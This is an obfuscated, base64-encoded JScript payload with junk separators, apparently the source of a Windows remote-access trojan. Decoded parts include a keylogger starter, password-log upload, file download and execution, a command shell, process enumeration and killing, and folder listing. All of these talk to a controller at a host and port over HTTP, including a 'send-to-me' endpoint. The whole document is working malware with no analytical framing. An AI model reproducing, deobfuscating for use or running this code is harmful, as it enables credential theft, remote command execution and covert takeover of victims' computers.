m1hV3hsYzNsemRHVnRiMkpxTG05d1pXNVVaWGgwUm1sc1pTaHpZWFpsY2k+PiVySUNKa1lYUmhJaWs3Q2drSkNYWmhjaUJpZFdabVpYSWdQU0J6Y2k1eVpXRmtZV3hzS0NrN0Nna0pDWE55TG1Oc2IzTmxLQ2s3Q2drSkNYTnlJRDBnYm5Wc2JEc0tDUWtKQ2drSkNYWmhjaUJ2ZFhSd1lYUm9JRDBnYVc1emRHRnNiR1JwY2k+PiVySUNKM2MyaHNiMmR6WEZ4eVpXTnZkbVZ5WldSZmNHRnpjM2R2Y21SZlpXMWhhV3d1Ykc5bklqc0tDUWtKZG1GeUlHWnZiR1JsY2k+PiU5SUc5aWFtWnpiMlJ2ZDI1c2IyRmtMa2RsZEZCaGNtVnVkRVp2YkdSbGNrNWhiV1VvYjNWMGNHRjBhQ2s3Q2dvSkNRbHBaaT4+JW9JVzlpYW1aemIyUnZkMjVzYjJGa0xrWnZiR1JsY2tWNGFYTjBjeWhtYjJ4a1pYSXBLUW9KQ1FsN0Nna0pDUWx6YUdWc2JHOWlhaTV5ZFc0b0lpVmpiMjF6Y0dWakpTPj4ldll5QnRhMlJwY2lCY0lpSWdLeUJtYjJ4a1pYSWdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLQ1FrSmZRb0pDUWwzY21sMFpYSWdQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h2ZFhSd1lYUm9MQz4+JXlMQ0IwY25WbEtUc0tDUWtKZDNKcGRHVnlMbmR5YVhSbEtHSjFabVpsY2lrN0Nna0pDWGR5YVhSbGNpNWpiRzl6WlNncE93b0pDUWwzY21sMFpYSWdQU0J1ZFd4c093b0pDUWtLQ1FrSmRYQnNiMkZrS0hOaGRtVnlJQ3NnSW1SaGRHRWlMQ0J5WlhSamJXUXBPd29KQ1FsaWNtVmhhenNLQ1FsOUNpPj4lZ0lIMEtJQz4+JWdaR1ZzWlhSbFptRm1LSE4wY25OaGRtVjBieWs3Q24wS0NuMEtDbVoxYm1OMGFXOXVJR3RsZVd4dloyZGxjbk4wWVhKMFpYSWdLR1pwYkdWMWNtd3NJR1pwYkdWdVlXMWxMQ0JtYVd4bFlYSm5MQ0JwYzE5dlptWnNhVzVsS1hzS2MyaGxiR3h2WW1vdWNuVnVLQ0lsWTI5dGMzQmxZeVVnTDJNZ2RHRnphMnRwYkd3Z0wwWWdMMGxOSUNJZ0t5Qm1hV3hsYm1GdFpTd2dNQ3dnZEhKMVpTazdDblpoY2lCemRISnNhVzVySUQwZ1ptbHNaWFZ5YkRzS2RtRnlJSE4wY25OaGRtVjBieT4+JTlJR2x1YzNSaGJHeGthWElnS3lCbWFXeGxibUZ0WlRzS2RtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSWdLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbk5sZEZKbGNYVmxjM1JJWldGa1pYSW9JbU5oWTJobExXTnZiblJ5YjJ3Nklpd2dJbTFoZUMxaFoyVTlNQ0lwT3dwdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWdVpDZ3BPd29LZG1GeUlHOWlhbVp6YjJSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q21sbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQ0J2WW1wbWMyOWtiM2R1Ykc5aFpDNWtaV3hsZEdWR2FXeGxLSE4wY25OaGRtVjBieWs3Q24wS0k+PiVwcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUhSeWVYc0tJQz4+JWdJSFpoY2k+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2lZV1J2WkdJdWMzUnlaV0Z0SWlrN0NpPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVYY21sMFpTaHZZbXBvZEhSd1pHOTNibXh2WVdRdWNtVnpjRzl1YzJWQ2IyUjVLVHNLSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JUtJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnYm5Wc2JEc0tDWDFqWVhSamFDaGxjbklwZXdvSkNYVndaR0YwWlhOMFlYUjFjeWdpUVdOalpYTnpLMFJsYm1sbFpDSXBPd29KZlFvZ2ZRb2dhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ2MyaGxiR3h2WW1vdWNuVnVLQ0pjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lnSWk+PiVySUdodmMzUWdLeT4+JWlJQ0lnS3lCd2IzSjBJQ3NnSWlCY0lpSWdLeUJtYVd4bFlYSm5JQ3NnSWx3aUlDSWdLeUJwYzE5dlptWnNhVzVsS1RzS0lIMGdDbjBLQ21aMWJtTjBhVzl1SUhObGNuWnBZMlZ6ZEdGeWRHVnlJQ2htYVd4bGRYSnNMQ0JtYVd4bGJtRnRaU3dnWm1sc1pXRnlaeWw3Q2k+PiVnSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUIwWVhOcmEybHNiQz4+JXZSaT4+JXZTVTBnSWk+PiVySUdacGJHVnVZVzFsTEM+PiV3TENCMGNuVmxLVHNLSUM+PiVnSUhaaGNpQnpkSEpzYVc1cklEMGdabWxzWlhWeWJEc0tJQz4+JWdJSFpoY2lCemRISnpZWFpsZEc4Z1BTQnBibk4wWVd4c1pHbHlJQ3NnWm1sc1pXNWhiV1U3Q2k+PiVnSUNCMllYSWdiMkpxYUhSMGNHUnZkMjVzYjJGa0lEMGdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaT4+JXBPd29nSUM+PiVnYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6WlhSU1pYRjFaWE4wU0dWaFpHVnlLQ0pqWVdOb1pTMWpiMjUwY205c09pSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29KSUNCMGNubDdDaT4+JWdJQz4+JWdJQz4+JWdkbUZ5SUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVUM0JsYmlncE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbGR5YVhSbEtHOWlhbWgwZEhCa2IzZHViRzloWkM1eVpYTndiMjV6WlVKdlpIa3BPd29nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29nSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1M+PiVnZldOaGRHTm9LR1Z5Y2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKQlkyTmxjM01yUkdWdWFXVmtJaWs3Q2drZ0lIMEtJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnYVdZb2IySnFabk52Wkc5M2JteHZZV1F1Wm1sc1pVVjRhWE4wY3loemRISnpZWFpsZEc4cEtYc0tJQz4+JWdJQz4+JWdJQ0J6YUdWc2JHOWlhaTV5ZFc0b0lsd2lJaT4+JXJJSE4wY25OaGRtVjBieT4+JXJJQ0pjSWk+PiVpSUNzZ2FHOXpkQz4+JXJJQ0lnSWk+PiVySUhCdmNuUWdLeT4+JWlJRndpSWk+PiVySUdacGJHVmhjbWNnS3k+PiVpWENJaUtUc0tJQz4+JWdJQz4+JWdmUz4+JWdDbjBLQ21aMWJtTjBhVzl1SUhOcGRHVmtiM2R1Ykc5aFpHVnlJQ2htYVd4bGRYSnNMR1pwYkdWdVlXMWxLWHNLQ2k+PiVnSUNCMllYSWdjM1J5YkdsdWF5Pj4lOUlHWnBiR1YxY213N0NpPj4lZ0lDQjJZWElnYzNSeWMyRjJaWFJ2SUQwZ2FXNXpkR0ZzYkdScGNpPj4lcklHWnBiR1Z1WVcxbE93b2dJQz4+JWdkbUZ5SUc5aWFtaDBkSEJrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKdGMzaHRiREl1YzJWeWRtVnllRzFzYUhSMGNDSWdLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCemRISnNhVzVyTENCbVlXeHpaU2s3Q2k+PiVnSUNCdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJDSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd09pOHZJaT4+JXJJR2h2YzNRZ0t5Pj4laU9pSWdLeUJ3YjNKMElDc2lMeUlnS3k+PiVpYzJWdVpDMTBieTF0WlNJZ0t5QnpjR3hwZEdWeUlDc2dabWxzWlhWeWJDd2dabUZzYzJVcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xuTmxkRkpsY1hWbGMzUklaV0ZrWlhJb0luVnpaWEl0WVdkbGJuUTZJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDaT4+JWdJQ0J2WW1wb2RIUndaRzkzYm14dllXUXVjMlZ1WkNnaUlpazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQ0IyWVhJZ2IySnFabk52Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2ljMk55YVhCMGFXNW5MbVpwYkdWemVYTjBaVzF2WW1wbFkzUWlLVHNLSUM+PiVnSUdsbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxWm5OdlpHOTNibXh2WVdRdVpHVnNaWFJsUm1sc1pTaHpkSEp6WVhabGRHOHBPd29nSUM+PiVnZlFvZ0lDPj4lZ0k+PiVvZ0lDPj4lZ2FXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLSUM+PiVnSUM+PiVnSUNCMllYSWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltRmtiMlJpTG5OMGNtVmhiU0lwT3dvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV4T3k+PiVLSUM+PiVnSUM+PiVnSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1UGNHVnVLQ2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VTJGMlpWUnZSbWxzWlNoemRISnpZWFpsZEc4cE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0J1ZFd4c093b2dJQz4+JWdJSDBLSUM+PiVnSUNCcFppaHZZbXBtYzI5a2IzZHViRzloWkM1bWFXeGxSWGhwYzNSektITjBjbk5oZG1WMGJ5a3Bld29nSUM+PiVnSUM+PiVnSUhOb1pXeHNiMkpxTG5KMWJpaHZZbXBtYzI5a2IzZHViRzloWkM1blpYUkdhV3hsS0hOMGNuTmhkbVYwYnlrdWMyaHZjblJRWVhSb0tUc0tJQz4+JWdJQz4+JWdJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrVjRaV04xZEdWa0swWnBiR1VpS1RzS0lDPj4lZ0lDQjlJPj4lcDlDZ3BtZFc1amRHbHZiaUIxY0dSaGRHVnpkR0YwZFhNb2MzUmhkSFZ6WDIxelp5bDdDblJ5ZVhzS0NYWmhjaUJ2WW1wemIyTWdQU0JYVTJOeWFYQjBMa055WldGMFpVOWlhbVZqZENnaWJYTjRiV3d5TG5odGJHaDBkSD4+JWlLVHNLQ1c5aWFuTnZZeTV2Y0dWdUtDSndiM04wSWl3aWFIUjBjRG92THlJZ0t5Qm9iM04wSUNzZ0lqb2lJQ3NnY0c5eWRDPj4lcklDSXZJaT4+JXJJQ0oxY0dSaGRHVXRjM1JoZEhWeklpPj4lcklITndiR2wwWlhJZ0t5QnpkR0YwZFhOZmJYTm5MQ0JtWVd4elpTazdDZ2x2WW1wemIyTXVjMlYwVW1WeGRXVnpkRWhsWVdSbGNpZ2lkWE5sY2kxaFoyVnVkRG9pTENCcGJtWnZjbTFoZEdsdmJpZ3BLVHNLQ1c5aWFuTnZZeTV6Wlc1a0tDSWlLVHNLQ1gxallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnZFhCc2IyRmtJQ2htYVd4bGRYSnNMQ0J5WlhSamJXUXBld29KZEhKNWV3b0pDWFpoY2k+PiVnYUhSMGNHOWlhaXh2WW1wemRISmxZVzExY0d4dllXUmxMR0oxWm1abGNqc0tDUWwyWVhJZ2IySnFjM1J5WldGdGRYQnNiMkZrWlM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0NRbHZZbXB6ZEhKbFlXMTFjR3h2WVdSbExsUjVjR1VnUFM+PiV4T3k+PiVLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTGs5d1pXNG9LVHNLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTG14dllXUkdjbTl0Um1sc1pTaG1hV3hsZFhKc0tUc0tDUWxpZFdabVpYSWdQU0J2WW1wemRISmxZVzExY0d4dllXUmxMbEpsWVdRb0tUc0tDUWx2WW1wemRISmxZVzExY0d4dllXUmxMbU5zYjNObEtDazdDZ29KQ1c5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FsMllYSWdhSFIwY0c5aWFpPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1doMGRIQnZZbW91YjNCbGJpZ2ljRzl6ZENJc0ltaDBkSD4+JTZMeThpSUNzZ2FHOXpkQz4+JXJJQ0k2SWk+PiVySUhCdmNuUWdLeUl2SWk+PiVySUhKbGRHTnRaQ3dnWm1Gc2MyVXBPd29KQ1doMGRIQnZZbW91YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpZFhObGNpMWhaMlZ1ZERvaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1p5YjIxaGJua2dQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h6ZEhKellYWmxkRzhwTG5KbFlXUkJiR3dvS1RzS2RISjVld3BtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9jM1J5YzJGMlpYUnZLVHNLZldOaGRHTm9LR1ZsS1h0OUNuSmxkSFZ5YmlCeVpXRmtZV3hzWm5KdmJXRnVlVHNLZlFvS0NtWjFibU4wYVc5dUlHVnVkVzF3Y205alpYTnpLQ2w3Q2k+PiVnSUNCMllYSWdaWD4+JWdQUz4+JWlJanNLZEhKNWV3cDJZWElnYjJKcWQyMXBjMlZ5ZG1salpTPj4lOUlFZGxkRTlpYW1WamRDZ2lkMmx1YldkdGRITTZYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmpiMnhwZEdWdGN5Pj4lOUlHOWlhbmR0YVhObGNuWnBZMlV1UlhobFkxRjFaWEo1S0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgzQnliMk5sYzNNaUxHNTFiR3dzTkRncE93b0tabTl5S0haaGNpQm1hUz4+JTlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHTnZiR2wwWlcxektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnZG1GeUlHOWlhbWwwWlcwZ1BTQm1hUzVwZEdWdEtDazdDZ2xsY0M+PiU5SUdWd0lDc2diMkpxYVhSbGJTNXVZVzFsSUNzZ0lsNGlPd29KWlg+PiVnUFNCbGNDPj4lcklHOWlhbWwwWlcwdWNISnZZMlZ6YzBsa0lDc2dJbDRpT3dvZ0lDPj4lZ1pYPj4lZ1BTQmxjQz4+JXJJRzlpYW1sMFpXMHVaWGhsWTNWMFlXSnNaVkJoZEdnZ0t5QnpjR3hwZEdWeU93cDlDbjFqWVhSamFDaGxjaWw3ZlFweVpYUjFjbTRnWlg+PiU3Q24wS0NtWjFibU4wYVc5dUlHVjRhWFJ3Y205alpYTnpJQ2h3YVdRcGV3cDBjbmw3Q25Ob1pXeHNiMkpxTG5KMWJpZ2lkR0Z6YTJ0cGJHd2dMMFlnTDFRZ0wxQkpSQz4+JWlJQ3NnY0dsa0xEPj4lc2RISjFaU2s3Q24xallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnWjJWMFVHRnlaVzUwUkdseVpXTjBiM0o1S0hCaGRHZ3Bld29KZG1GeUlHWnZJRDBnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtIQmhkR2dwT3dvSmNtVjBkWEp1SUdacGJHVnplWE4wWlcxdlltb3VaMlYwVUdGeVpXNTBSbTlzWkdWeVRtRnRaU2htYnlrN0NuMEtDbVoxYm1OMGFXOXVJR1Z1ZFcxbVlXWWdLR1Z1ZFcxa2FYSXBld29nSUM+PiVnZG1GeUlISmxJRDBnSWlJN0NuUnllWHNLSUM+PiVnSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVadmJHUmxjaT4+JW9aVzUxYldScGNpa3VjM1ZpWm05c1pHVnljeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS0lDPj4lZ0lDPj4lZ0lDQjJZWElnWm05c1pHVnlJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ0lDPj4lZ0lISmxJRDBnY21VZ0t5Qm1iMnhrWlhJdWJtRnRaUz4+JXJJQ0plWG1SZUlpPj4lcklHWnZiR1JsY2k1aGRIUnlhV0oxZEdWeklDc2djM0JzYVhSbGNqc2dDaT4+JWdJQ0I5Q2k+PiVnSUNCbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSR2IyeGtaWElnS0dWdWRXMWthWElwTG1acGJHVnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ0lDPj4lZ0lIWmhjaUJtYVd4bElEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnSUhKbElEMGdjbVVnS3lCbWFXeGxMbTVoYldVZ0t5Pj4laVhpSWdLeUJtYVd4bExuTnBlbVVnS3k+PiVpWGlJZ0t5Qm1hV3hsTG1GMGRISnBZblYwWlhNZ0t5QnpjR3hwZEdWeU95Pj4lS0lDPj4lZ0lIMEtmV05oZEdOb0tHVnljaWw3ZlFweVpYUjFjbTRnY21VN0NuMD0iLCAiYmluLmJhc2U2NCJdOwp9CgpmdW5jdGlvbiBibG9vZE8ocHN0QVIpewoJcHN0QVIuTy5kYXRhVHlwZSA9IGJnZnRyZXdhcygpWzFdOwoJcHN0QVIuTy50ZXh0ID0gYmdmdHJld2FzKClbMF0ucmVwbGFjZShwc3RBUi5JLCAiQSIpOwoJcmV0dXJuICBBcnJheShmdW5jdGlvbigpe3JldHVybiBwc3RBUi5PO30pOwp9CnZhciBDTyA9IEFycmF5KGZ1bmN0aW9uKHR4dCl7CglyZXR1cm4gV1NjcmlwdC5DcmVhdGVPYmplY3QodHh0KTsKfSk7CgpmdW5jdGlvbiB3ZWFrMG8wbygpewoJdHJ5ewoJCXJldHVybiBDT1swXSgiU3lzdGVtLk5ldC5PbGVEYiIpOwoJfWNhdGNoKGVyKXsKCQlyZXR1cm4gbnVsbDsKCX0KfQoKZnVuY3Rpb24gcG93ZXJRUVEoYTFzMmVldzAsIGExczJlZXcxLCBhMXMyZWV3Mil7CgkvL3JldHVybiBBcnJheShhMXMyZWV3MFswXS5nZXRTdHJpbmcoKGExczJlZXcwWzFdKSksIGExczJlZXcyKTsKfQoKZnVuY3Rpb24gaGFpbE1ZamVzKGExczJlZXcsIGExczJlZXcxLCBhMXMyZWV3Mil7Cgl0cnl7CgkJdmFyIG50diA9IGJsb29kTyh7TzogYTFzMmVldzEuY3JlYXRlRWxlbWVudCgiZWd5IiksIEk6IG5ldyBSZWdFeHAoYTFzMmVld1swXSwgYTFzMmVld1sxXSl9KTsKCQlpZih3ZWFrMG8wbygpID09IG51bGwpewoJCQl2YXIgdHV0TmthbWFuID0gQ09bMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZ